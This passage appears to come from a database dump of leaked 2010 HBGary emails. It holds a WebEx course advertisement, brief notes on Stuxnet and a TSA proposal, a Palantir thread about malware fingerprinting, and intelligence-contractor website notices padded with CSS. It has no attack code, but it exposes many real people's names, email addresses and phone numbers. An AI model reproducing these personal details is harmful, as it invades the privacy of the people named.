\r\n							\r\n								\r\n									If this message is not displaying properly, click here to launch your browser.\r\n								\r\n							\r\n							\r\n						\r\n					\r\n				-->\r\n				\r\n					\r\n						\r\n							\r\n								\r\n									\r\n										\r\n											\r\n										\r\n										\r\n											\r\n											\r\n											\r\n											\r\n											\r\n										\r\n										\r\n											\r\n											\r\n										\r\n								  \r\n								\r\n							\r\n							\r\n								\r\n								\r\n									\r\n										\r\n											\r\n											\r\n												\r\n													\r\n														\r\n															New Training Program:Mastering Cisco WebEx Meeting Center\r\n													  \r\n													\r\n													\r\n													\r\n													\r\n														\r\n															Do you want to become a virtual collaboration expert? This certificate program is designed to provide you with the skills, knowledge, and hands-on practice necessary to become accomplished, skilled and confident using Cisco WebEx Meeting Center. \r\n                                                            What Participants Are Saying\r\n                                                            \"I found the Program to be well worth my investment in time and I was surprised by how much I learned. Great course and especially great instructors.\"\r\n                                                             \"It exceeded my expectations! I learned info and skills that I didn’t previously know. This new knowledge will increase my productivity and help me provide better service to my clients.\"\r\n														  Program Details\r\n\r\n																\r\n																\r\n																	\r\n																	Over 15 hours of live virtual instruction\r\n																\r\n																\r\n																\r\n																	\r\n																	7 sessions delivered over 4 weeks\r\n																\r\n																\r\n																\r\n																	\r\n																	Each session is 2 &frac12; hours.\r\n																\r\n																\r\n																\r\n																	\r\n																	Complete a Final Exam and participate in a Live Skills Assessment to validate yourproduct mastery\r\n																\r\n																\r\n                                                                \r\n																	\r\n																	Receive a Mastering Cisco WebEx Meeting Center Certificate upon successful completion of the program\r\n																\r\n														  \r\n                                                           Tap into your next WebEx meeting by tapping your Apple mobile device. Join your Mastery Program online sessions in seconds \r\nwhen you\'re away from the office—no account required.\r\n\r\n													  \r\n														\r\n													\r\n												\r\n											\r\n											\r\n												\r\n													\r\n													\r\n														\r\n															\r\n																\r\n																\r\n																	\r\n																	\r\n																		Register Now\r\n																		Only $1995 per person.\r\n                                                                      \r\nClick here to see program schedules and to register.\r\n                                                                       \r\n																	\r\n																	\r\n																\r\n																\r\n															\r\n														\r\n													\r\n													\r\n													\r\n														\r\n															\r\n																\r\n																\r\n																	\r\n																	\r\n																		Contact Us for More Information\r\n																	  If you have questions about this exciting new program, please contact WebEx University at \r\n																	\r\n																	\r\n																\r\n																\r\n																	\r\n																	\r\n																		\r\n																			\r\n																				\r\n										training@webex.com or (916) 636-0356. We look forward to seeing you online. 										\r\n																				\r\n																				\r\n																					\r\n																				\r\n																			\r\n																		\r\n																	\r\n																\r\n																\r\n															\r\n														\r\n													\r\n												\r\n										  \r\n											\r\n									  \r\n										\r\n									\r\n								\r\n								\r\n							\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					\r\n						\r\n							\r\n							\r\n								\r\n									 &copy; 2010 Cisco Systems, Inc. and/or its affiliated entities. All rights reserved. Cisco WebEx LLC,3979 Freedom Circle, Santa Clara, CA 95054.\r\n                                  \r\n							      This email was sent to:aaron@hbgary.com\r\n                                    \r\n								  If you do not wish to receive marketing messages from WebEx, please click here.\r\n					      							  WebEx respects your privacy: http://www.webex.com/webex_privacy.html.\r\n								\r\n								\r\n									\r\n								\r\n							\r\n							\r\n						\r\n					\r\n				\r\n			\r\n		\r\n	\r\n\r\n-WEBEX:enUS:\r\n\r\n5zgKcLx1aOEcEny2mkCTog-\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8408,'aaron_hbgary_com/8408.html'),(10161,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007901.M506330P14101Q5016.eml','\"Greg Hoglund\" <greg@hbgary.com>','Stuxnet','Hey Greg,\r\n\r\nI am going to go up and talk to some folks tomorrow or the next day regarding this malware.  This is a good thing as I understand it, this group wants to learn from what we know and it might give us an opportunity to help in the future.\r\n\r\nI would like to run my list past you just to get a sanity check before I go talk with them.\r\n\r\nAaron\r\n\r\n',6956,'aaron_hbgary_com/6956.html'),(10162,'2010-08-12','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007901.M752305P14101Q5017.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"jwootton@palantir.com\" <jwootton@palantir.com>,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,\"msteckman@palantir.com\" <msteckman@palantir.com>,\"patricia.krajeski@tasc.com\" <patricia.krajeski@tasc.com>,\"Paul Meaney\" <paul.meaney@ngc.com>,\"paul.kuttner@tasc.com\" <paul.kuttner@tasc.com>,\"rob.wilson@telos.com\" <rob.wilson@telos.com>,\"robert.sanderson@telos.com\" <robert.sanderson@telos.com>,\"sondra.spalding@tasc.com\" <sondra.spalding@tasc.com>,\"ted@hbgary.com\" <ted@hbgary.com>,\"tom.leahy@telos.com\" <tom.leahy@telos.com>,\"tom.ryder@telos.com\" <tom.ryder@telos.com>,\"William Luti\" <wluti@digitalmanagement.com>,\"Ken Bajaj\" <kbajaj@digitalmanagement.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"jwootton@palantir.com\" <jwootton@palantir.com>','TSA-ITSSS Pink Team Review','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Monday, August 16, 2010 12:00 PM-3:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: DMI Bethesda \r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nDue to late/missing content submissions and challenges integrating 6 total contributors’ content, we need to reschedule our first group review of response (i.e., Pink Team) for Monday, Aug 16, noon to 3pm. Kirby will be in touch by 10am this morning with\r\ndetailed outline of status of content for each team members.&nbsp; Thanks, John.\r\n&nbsp;\r\n\r\n\r\n\r\n',212,'aaron_hbgary_com/212.html'),(10163,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007902.M295092P14101Q5019.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,,','Re: Continuing discussion / palantir + malware intelligence','Hi Aaron,Absolutely,I had some deadlines for the TSA proposal that was due yesterday/today that had me focused. &nbsp;What is your schedule Today, tomorrow, monday, or tuesday?AaronOn Aug 9, 2010, at 8:25 PM, Aaron Zollman wrote:Aaron,&nbsp;We’d talked about setting up a call this week and, a webex discussion soon after, to collaborate on the malware fingerprinting &amp; intelligence Greg presented at Black Hat.&nbsp;Matt and I are both available all Wednesday morning for that first call; is there any time that that works for your guys?&nbsp;I’m also confirmed to be in California next week from August 15th-20th, if it makes sense to do a follow-on discussion in Sacramento.&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 04, 2010 7:49 PMTo:&nbsp;Aaron ZollmanCc:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)&nbsp;Yummy. &nbsp;I\'ll be there.Sent from my iPhoneOn Aug 4, 2010, at 7:42 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:&nbsp;I can preview the proposition – having watched Greg’s talk at Blackhat, I think you guys really should see what we’re doing with Object Explorer in 3.0. Fantastic talk – even if it did have 7 maltego slides and only one Palantir one&nbsp;J.&nbsp;The fingerprint tool pulls out very specific, named features of malware for clustering; OE is really good at starting with hundreds of thousands (or millions) of objects and drilling down and then charting based on specific features. So, if you want to only find malware with a specific keylogger *and* a specific exfil library and then chart the timeline over which it was collected, it’s about a a 7-click operation. And super-fast, too, even across a million fingerprint output objects.&nbsp;Mind you, I don’t have a malware library to run fingerprint against, so I’ll demo what we’ve done with network logs. But you guys *do* have a malware library. Maybe we even contributed a few samples to it.&nbsp;FWIW, Palantir lunch line tomorrow is clam &amp; seafood bake, if I read the sign correctly.&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;&nbsp;_____________________________________________From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Wednesday, August 04, 2010 7:37 PMTo:&nbsp;Aaron BarrCc:&nbsp;Aaron ZollmanSubject:&nbsp;RE: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)&nbsp;&nbsp;Unfortunately disaster struck on one of my sites and I have to be downtown at this time tomorrow.&nbsp;You still want to come to meet with Zollman?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;&nbsp;-----Original Appointment-----From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 04, 2010 6:40 PMTo:&nbsp;Aaron Barr; Matthew SteckmanSubject:&nbsp;Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)When:&nbsp;Thursday, August 05, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where:&nbsp;Palantir Lunch Line&nbsp;&nbsp;more details »Lunch at PalantirWhen&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thu Aug 5 12pm – 1pm&nbsp;Eastern Time&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Where&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Palantir Lunch Line (map)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Calendar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msteckman@palantirtech.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Who&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron Barr&nbsp;- organizer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msteckman@palantirtech.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Going?&nbsp;&nbsp;&nbsp;Yes&nbsp;-&nbsp;Maybe&nbsp;-&nbsp;No&nbsp;&nbsp;&nbsp;&nbsp;more options »Invitation from&nbsp;Google CalendarYou are receiving this courtesy email at the account&nbsp;msteckman@palantirtech.com&nbsp;because you are an attendee of this event.To stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account athttps://www.google.com/calendar/&nbsp;and control your notification settings for your entire calendar.&lt;&lt; File: invite.ics &gt;&gt;&nbsp;',5766,'aaron_hbgary_com/5766.html'),(10164,'2010-08-12','arc@westfields.net','/aaron@hbgary.com/new/1297007902.M43826P14101Q5018.eml','federal@hbgary.com','CAPRICA CBL document posting','\r\nContractor Bidder\'s Library (CBL) documents have been posted on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',14956,'aaron_hbgary_com/14956.html'),(10165,'2010-08-12','arc@westfields.net','/aaron@hbgary.com/new/1297007902.M556713P14101Q5020.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Wednesday, 08/11/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nNGA/N/A-CCLS (Announcement)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/IMINT-Airwolf (Announcement)\r\n\r\nNRO-CAPRICA (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',2441,'aaron_hbgary_com/2441.html'),(10166,'2010-08-12','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007902.M787272P14101Q5021.eml','aaron@hbgary.com','Look at page 3 of usa today money section','',15192,'aaron_hbgary_com/15192.html'),(10167,'2010-08-12','arc@westfields.net','/aaron@hbgary.com/new/1297007903.M241718P14101Q5023.eml','federal@hbgary.com','IARPA - N/A / Rose Announcement Posting','\r\nAn announcement has been posted on the IARPA/N/A-Rose effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select IARPA - N/A /Rose from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; 